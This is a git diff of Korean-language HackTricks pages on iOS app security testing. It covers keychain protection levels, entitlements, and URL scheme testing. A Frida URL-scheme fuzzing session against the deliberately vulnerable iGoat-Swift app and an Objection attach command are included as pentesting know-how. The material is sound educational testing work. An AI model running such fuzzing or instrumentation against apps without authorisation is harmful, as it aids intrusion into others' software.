|
### **키체인 항목 데이터 보호 구성**
|
||||||
|
|
||||||
키체인 항목의 데이터 보호 수준은 항목 생성 또는 업데이트 중 `kSecAttrAccessible` 속성을 사용하여 설정됩니다. 이러한 수준은 [애플에서 지정한](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100)대로 키체인 항목의 액세스 가능 시기와 방법을 결정합니다:
|
키체인 항목의 데이터 보호 수준은 항목 생성 또는 업데이트 시 `kSecAttrAccessible` 속성을 사용하여 설정됩니다. 이러한 수준은 [Apple에서 지정한 대로](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) 키체인 항목에 접근할 수 있는 시기와 방법을 결정합니다:
|
||||||
|
|
||||||
- **`kSecAttrAccessibleAlways`**: 장치 잠금 상태와 관계없이 언제든지 액세스 가능합니다.
|
- **`kSecAttrAccessibleAlways`**: 장치 잠금 상태와 관계없이 언제든지 접근 가능.
|
||||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: 항상 액세스 가능하지만 백업에 포함되지 않습니다.
|
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: 항상 접근 가능하지만 백업에 포함되지 않음.
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: 재시작 후 첫 번째 잠금 해제 이후에 액세스 가능합니다.
|
- **`kSecAttrAccessibleAfterFirstUnlock`**: 재시작 후 첫 잠금 해제 후 접근 가능.
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: 위와 동일하지만 새로운 장치로 이전할 수 없습니다.
|
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: 위와 동일하지만 새로운 장치로 전송할 수 없음.
|
||||||
- **`kSecAttrAccessibleWhenUnlocked`**: 장치가 잠금 해제된 경우에만 액세스 가능합니다.
|
- **`kSecAttrAccessibleWhenUnlocked`**: 장치가 잠금 해제된 경우에만 접근 가능.
|
||||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: 잠금 해제된 경우에만 액세스 가능하며 백업에 포함되지 않습니다.
|
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: 잠금 해제 시 접근 가능, 백업에 포함되지 않음.
|
||||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: 장치 패스코드가 필요하며 백업에 포함되지 않습니다.
|
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: 장치 패스코드가 필요하며, 백업에 포함되지 않음.
|
||||||
|
|
||||||
**`AccessControlFlags`**는 생체 인증 또는 패스코드 사용을 허용하여 액세스 방법을 더욱 세분화합니다.
|
**`AccessControlFlags`**는 생체 인식 인증 또는 패스코드 사용을 허용하여 접근 방법을 더욱 세분화합니다.
|
||||||
|
|
||||||
### **탈옥된 장치 경고**
|
### **탈옥 장치 경고**
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**탈옥된 장치**에서는 키체인의 보호 기능이 손상되어 중대한 보안 위험을 초래할 수 있습니다.
|
**탈옥된 장치**에서는 키체인의 보호가 손상되어 상당한 보안 위험을 초래합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **키체인 데이터의 지속성**
|
### **키체인 데이터의 지속성**
|
||||||
|
|
||||||
앱 제거 시 삭제되지 않는 앱별 데이터와 달리, **키체인 데이터는 장치에 지속**됩니다. 이 특성은 중고 장치의 새로운 소유자가 앱을 다시 설치함으로써 이전 소유자의 애플리케이션 데이터에 액세스할 수 있게 할 수 있습니다. 개발자는 이러한 위험을 완화하기 위해 앱 설치 시 또는 로그아웃 중에 키체인 데이터를 적극적으로 지우는 것이 좋습니다. 다음은 첫 번째 앱 실행 시 키체인 데이터를 지우는 방법을 보여주는 Swift 코드 예시입니다:
|
앱이 삭제될 때 삭제되는 앱 전용 데이터와 달리, **키체인 데이터는** 장치에 지속적으로 남아 있습니다. 이 특성으로 인해 중고 장치의 새로운 소유자가 앱을 재설치함으로써 이전 소유자의 애플리케이션 데이터에 접근할 수 있습니다. 개발자는 이 위험을 완화하기 위해 앱 설치 시 또는 로그아웃 시 키체인 데이터를 사전적으로 지우는 것이 좋습니다. 다음은 첫 앱 실행 시 키체인 데이터를 지우는 방법을 보여주는 Swift 코드 예제입니다:
|
||||||
```swift
|
```swift
|
||||||
let userDefaults = UserDefaults.standard
|
let userDefaults = UserDefaults.standard
|
||||||
|
|
||||||
|
@ -95,45 +96,45 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||||
```
|
```
|
||||||
# **앱 기능**
|
# **앱 기능**
|
||||||
|
|
||||||
앱 개발의 영역에서 **샌드박싱**은 보안을 강화하는 데 중요한 역할을 합니다. 이 과정은 각 앱이 고유한 홈 디렉토리 내에서 작동하도록 보장하여 다른 앱의 시스템 파일이나 데이터에 접근하지 못하도록 합니다. 이러한 제한은 **신뢰할 수 있는 BSD(MAC) 강제 접근 제어 프레임워크**의 일부인 샌드박스 정책을 통해 시행됩니다.
|
앱 개발 분야에서 **샌드박싱**은 보안을 강화하는 데 중요한 역할을 합니다. 이 과정은 각 앱이 고유한 홈 디렉토리 내에서 작동하도록 보장하여 시스템 파일이나 다른 앱의 데이터에 접근하는 것을 방지합니다. 이러한 제한 사항의 시행은 **신뢰할 수 있는 BSD (MAC) 강제 접근 제어 프레임워크**의 일환인 샌드박스 정책을 통해 이루어집니다.
|
||||||
|
|
||||||
개발자는 **데이터 보호** 또는 **키체인 공유**와 같은 특정 **기능 또는 권한**을 앱에 구성할 수 있습니다. 이러한 권한은 앱이 설치된 직후에 즉시 적용됩니다. 그러나 특정 보호된 리소스에 액세스하기 위해서는 앱이 첫 번째 시도 시 사용자로부터 명시적인 동의를 얻어야 합니다. 이는 퍼미션 요청 알림에서 사용자에게 제시되는 _목적 문자열_ 또는 _사용 설명 문자열_을 통해 달성됩니다.
|
개발자는 **데이터 보호** 또는 **키체인 공유**와 같은 특정 **기능 또는 권한**을 앱에 구성할 수 있습니다. 이러한 권한은 앱이 설치된 직후에 적용됩니다. 그럼에도 불구하고 특정 보호된 리소스에 접근하기 위해서는 앱이 첫 시도 시 사용자로부터 명시적인 동의를 받아야 합니다. 이는 사용자에게 권한 요청 알림에서 제공되는 _목적 문자열_ 또는 _사용 설명 문자열_을 통해 이루어집니다.
|
||||||
|
|
||||||
소스 코드에 액세스할 수 있는 경우, `Info.plist` 파일에 포함된 권한을 확인할 수 있습니다. 다음 단계를 따릅니다:
|
소스 코드에 접근할 수 있는 경우, `Info.plist` 파일에 포함된 권한을 확인하는 방법은 다음과 같습니다:
|
||||||
|
|
||||||
1. Xcode에서 프로젝트를 엽니다.
|
1. Xcode에서 프로젝트를 엽니다.
|
||||||
2. `Info.plist` 파일을 찾아 엽니다.
|
2. `Info.plist` 파일을 찾고 엽니다.
|
||||||
3. `"Privacy -"`로 접두사가 붙은 키를 검색하고, 명확한 키/값을 확인할 수 있는 옵션을 선택합니다.
|
3. `"Privacy -"`로 접두사가 붙은 키를 검색하며, 명확성을 위해 원시 키/값을 볼 수 있는 옵션을 선택합니다.
|
||||||
|
|
||||||
IPA 파일을 다룰 때는 다음 단계를 따를 수 있습니다:
|
IPA 파일을 다룰 때는 다음 단계를 따를 수 있습니다:
|
||||||
|
|
||||||
1. IPA 파일을 압축 해제합니다.
|
1. IPA 파일의 압축을 풉니다.
|
||||||
2. `Payload/<앱이름>.app/` 내에서 `Info.plist` 파일을 찾습니다.
|
2. `Payload/<앱이름>.app/` 내에서 `Info.plist` 파일을 찾습니다.
|
||||||
3. 필요한 경우 파일을 XML 형식으로 변환하여 쉽게 검사합니다.
|
3. 필요에 따라 파일을 XML 형식으로 변환하여 더 쉽게 검사합니다.
|
||||||
|
|
||||||
예를 들어, `Info.plist` 파일의 목적 문자열은 다음과 같을 수 있습니다:
|
예를 들어, `Info.plist` 파일의 목적 문자열은 다음과 같이 보일 수 있습니다:
|
||||||
```xml
|
```xml
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>NSLocationWhenInUseUsageDescription</key>
|
<key>NSLocationWhenInUseUsageDescription</key>
|
||||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||||
```
|
```
|
||||||
## 장치 기능
|
## Device Capabilities
|
||||||
앱의 `Info.plist` 파일은 장치 호환성을 위해 앱 스토어에서 앱을 필터링하는 데 도움이 되는 **장치 기능**을 지정합니다. 이러한 기능은 **`UIRequiredDeviceCapabilities`** 키 아래에 정의됩니다. 예를 들어:
|
앱의 `Info.plist` 파일은 **장치 기능**을 지정하여 App Store가 장치 호환성을 위해 앱을 필터링하는 데 도움을 줍니다. 이는 **`UIRequiredDeviceCapabilities`** 키 아래에 정의됩니다. 예를 들어:
|
||||||
```xml
|
```xml
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
<array>
|
<array>
|
||||||
<string>armv7</string>
|
<string>armv7</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
이 예제는 앱이 armv7 명령어 집합과 호환되는 것을 나타냅니다. 개발자는 또한 앱이 NFC를 지원하는 기기에만 사용 가능하도록 하기 위해 nfc와 같은 기능을 지정할 수도 있습니다.
|
이 예시는 앱이 armv7 명령어 집합과 호환된다는 것을 나타냅니다. 개발자는 NFC를 지원하는 장치에서만 앱을 사용할 수 있도록 보장하기 위해 nfc와 같은 기능을 지정할 수도 있습니다.
|
||||||
|
|
||||||
## 권한
|
## 권한
|
||||||
|
|
||||||
**권한**은 iOS 앱 개발의 또 다른 중요한 측면으로, 앱이 런타임 검사를 넘어서 특정 작업을 수행할 수 있는 권한을 부여하는 키-값 쌍입니다. 예를 들어, 앱에서 **데이터 보호(Data Protection)**를 활성화하려면 Xcode 프로젝트에 특정 권한을 추가하고, 이는 앱의 권한 파일 또는 IPAs의 포함된 모바일 프로비전 파일에 반영됩니다.
|
**권한**은 iOS 앱 개발의 또 다른 중요한 측면으로, 앱이 런타임 검사 이상의 특정 작업을 수행할 수 있는 권한을 부여하는 키-값 쌍으로 작용합니다. 예를 들어, 앱에서 **데이터 보호**를 활성화하려면 Xcode 프로젝트에 특정 권한을 추가해야 하며, 이는 앱의 권한 파일이나 IPA의 내장 모바일 프로비전 파일에 반영됩니다.
|
||||||
|
|
||||||
|
|
||||||
# 참고 자료
|
# References
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||||
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||||
|
@ -141,16 +142,17 @@ IPA 파일을 다룰 때는 다음 단계를 따를 수 있습니다:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
이것은 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)에서 관련 정보의 요약입니다.
|
This is a sumary from the related information from [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
사용자 정의 URL 스키마는 앱이 사용자 정의 프로토콜을 사용하여 통신할 수 있도록합니다. 자세한 내용은 [Apple 개발자 문서](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)를 참조하십시오. 이러한 스키마는 앱에 의해 선언되어 해당 스키마를 따르는 URL을 처리합니다. 이 벡터를 통한 공격을 방지하기 위해 **모든 URL 매개변수를 유효성 검사**하고 **잘못된 URL을 폐기**해야합니다.
|
사용자 정의 URL 스킴은 앱이 사용자 정의 프로토콜을 사용하여 통신할 수 있도록 하며, 이는 [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)에서 자세히 설명되어 있습니다. 이러한 스킴은 앱에서 선언해야 하며, 이후 해당 스킴에 따라 들어오는 URL을 처리합니다. **모든 URL 매개변수를 검증**하고 **형식이 잘못된 URL을 폐기**하는 것이 중요하여, 이를 통해 공격을 방지할 수 있습니다.
|
||||||
|
|
||||||
예를 들어, URI `myapp://hostname?data=123876123`는 특정 애플리케이션 동작을 호출합니다. Skype Mobile 앱에서 발견된 취약점은 `skype://` 프로토콜을 통해 허가되지 않은 호출 동작을 허용했습니다. 등록된 스키마는 앱의 `Info.plist`에서 `CFBundleURLTypes` 아래에서 찾을 수 있습니다. 악성 애플리케이션은 이를 이용하여 민감한 정보를 가로챌 수 있습니다.
|
예를 들어, URI `myapp://hostname?data=123876123`는 특정 애플리케이션 작업을 호출합니다. 주목할 만한 취약점은 Skype Mobile 앱에서 발견되었으며, 이는 `skype://` 프로토콜을 통해 허가되지 않은 통화 작업을 허용했습니다. 등록된 스킴은 앱의 `Info.plist`의 `CFBundleURLTypes`에서 찾을 수 있습니다. 악의적인 애플리케이션은 URI를 재등록하여 민감한 정보를 가로챌 수 있습니다.
|
||||||
|
|
||||||
### 애플리케이션 쿼리 스키마 등록
|
### Application Query Schemes Registration
|
||||||
|
|
||||||
iOS 9.0부터 `canOpenURL:`을 사용하여 앱의 가용성을 확인하려면 `Info.plist`에서 `LSApplicationQueriesSchemes` 아래에 URL 스키마를 선언해야합니다. 이를 통해 앱의 열거를 방지하여 개인 정보 보호를 강화하기 위해 앱이 쿼리할 수 있는 스키마가 50개로 제한됩니다.
|
iOS 9.0부터, 앱이 사용 가능한지 확인하기 위해 `canOpenURL:`는 `Info.plist`의 `LSApplicationQueriesSchemes`에 URL 스킴을 선언해야 합니다. 이는 앱이 쿼리할 수 있는 스킴을 50개로 제한하여 앱 열거를 방지하고 개인 정보를 향상시킵니다.
|
||||||
```xml
|
```xml
|
||||||
<key>LSApplicationQueriesSchemes</key>
|
<key>LSApplicationQueriesSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -30,9 +31,9 @@ iOS 9.0부터 `canOpenURL:`을 사용하여 앱의 가용성을 확인하려면
|
||||||
<string>url_scheme2</string>
|
<string>url_scheme2</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
### URL 처리 및 유효성 검사 테스트
|
### Testing URL Handling and Validation
|
||||||
|
|
||||||
개발자는 `application:didFinishLaunchingWithOptions:` 및 `application:openURL:options:`와 같은 소스 코드의 특정 메서드를 검사하여 URL 경로 구성 및 유효성 검사를 이해해야 합니다. 예를 들어, 텔레그램은 다양한 방법으로 URL을 열기 위해 다음과 같은 메서드를 사용합니다:
|
개발자는 `application:didFinishLaunchingWithOptions:` 및 `application:openURL:options:`와 같은 소스 코드의 특정 메서드를 검사하여 URL 경로 구성 및 유효성 검사를 이해해야 합니다. 예를 들어, Telegram은 URL을 여는 다양한 방법을 사용합니다:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||||
self.openUrl(url: url)
|
self.openUrl(url: url)
|
||||||
|
@ -58,15 +59,15 @@ return true
|
||||||
```
|
```
|
||||||
### 다른 앱에 대한 URL 요청 테스트
|
### 다른 앱에 대한 URL 요청 테스트
|
||||||
|
|
||||||
`openURL:options:completionHandler:`와 같은 메소드는 다른 앱과 상호작용하기 위해 URL을 열 때 중요합니다. 앱의 소스 코드에서 이러한 메소드의 사용을 식별하는 것은 외부 통신을 이해하는 데 필수적입니다.
|
`openURL:options:completionHandler:`와 같은 메서드는 다른 앱과 상호작용하기 위해 URL을 여는 데 중요합니다. 앱의 소스 코드에서 이러한 메서드의 사용을 식별하는 것은 외부 통신을 이해하는 데 핵심입니다.
|
||||||
|
|
||||||
### 폐기된 메소드에 대한 테스트
|
### 사용 중단된 메서드 테스트
|
||||||
|
|
||||||
`application:handleOpenURL:` 및 `openURL:`과 같은 폐기된 메소드는 URL 열기를 처리하는 데 사용되며, 보안적인 영향을 검토하기 위해 식별되어야 합니다.
|
`application:handleOpenURL:` 및 `openURL:`와 같은 URL 열기를 처리하는 사용 중단된 메서드는 식별하고 보안 영향을 검토해야 합니다.
|
||||||
|
|
||||||
### URL 스키마 퍼징
|
### URL 스킴 퍼징
|
||||||
|
|
||||||
URL 스키마 퍼징은 메모리 손상 버그를 식별할 수 있습니다. [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)와 같은 도구를 사용하여 다양한 페이로드를 가진 URL을 열어 충돌을 모니터링하는 프로세스를 자동화할 수 있습니다. 이는 iGoat-Swift 앱에서 URL을 조작하는 것으로 예시됩니다.
|
URL 스킴 퍼징은 메모리 손상 버그를 식별할 수 있습니다. [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)와 같은 도구는 다양한 페이로드로 URL을 열어 충돌을 모니터링하여 이 프로세스를 자동화할 수 있습니다. 이는 iGoat-Swift 앱에서 URL을 조작한 예로 설명됩니다:
|
||||||
```bash
|
```bash
|
||||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||||
|
@ -74,19 +75,20 @@ Watching for crashes from iGoat...
|
||||||
No logs were moved.
|
No logs were moved.
|
||||||
Opened URL: iGoat://?contactNumber=0&message=0
|
Opened URL: iGoat://?contactNumber=0&message=0
|
||||||
```
|
```
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
이 섹션에서는 [**Objection**](https://github.com/sensepost/objection) 도구를 사용합니다.\
|
이 섹션에서는 도구 [**Objection**](https://github.com/sensepost/objection)를 사용할 것입니다.\
|
||||||
다음과 같이 objection 세션을 얻는 것으로 시작하세요:
|
먼저 다음과 같은 명령을 실행하여 objection의 세션을 시작합니다:
|
||||||
```bash
|
```bash
|
||||||
objection -d --gadget "iGoat-Swift" explore
|
objection -d --gadget "iGoat-Swift" explore
|
||||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||||
```
|
```
|
||||||
휴대폰에서 실행 중인 프로세스를 확인하려면 `frida-ps -Uia`를 실행할 수도 있습니다.
|
You can execute also `frida-ps -Uia` to check the running processes of the phone.
|
||||||
|
|
||||||
# 앱의 기본 열거
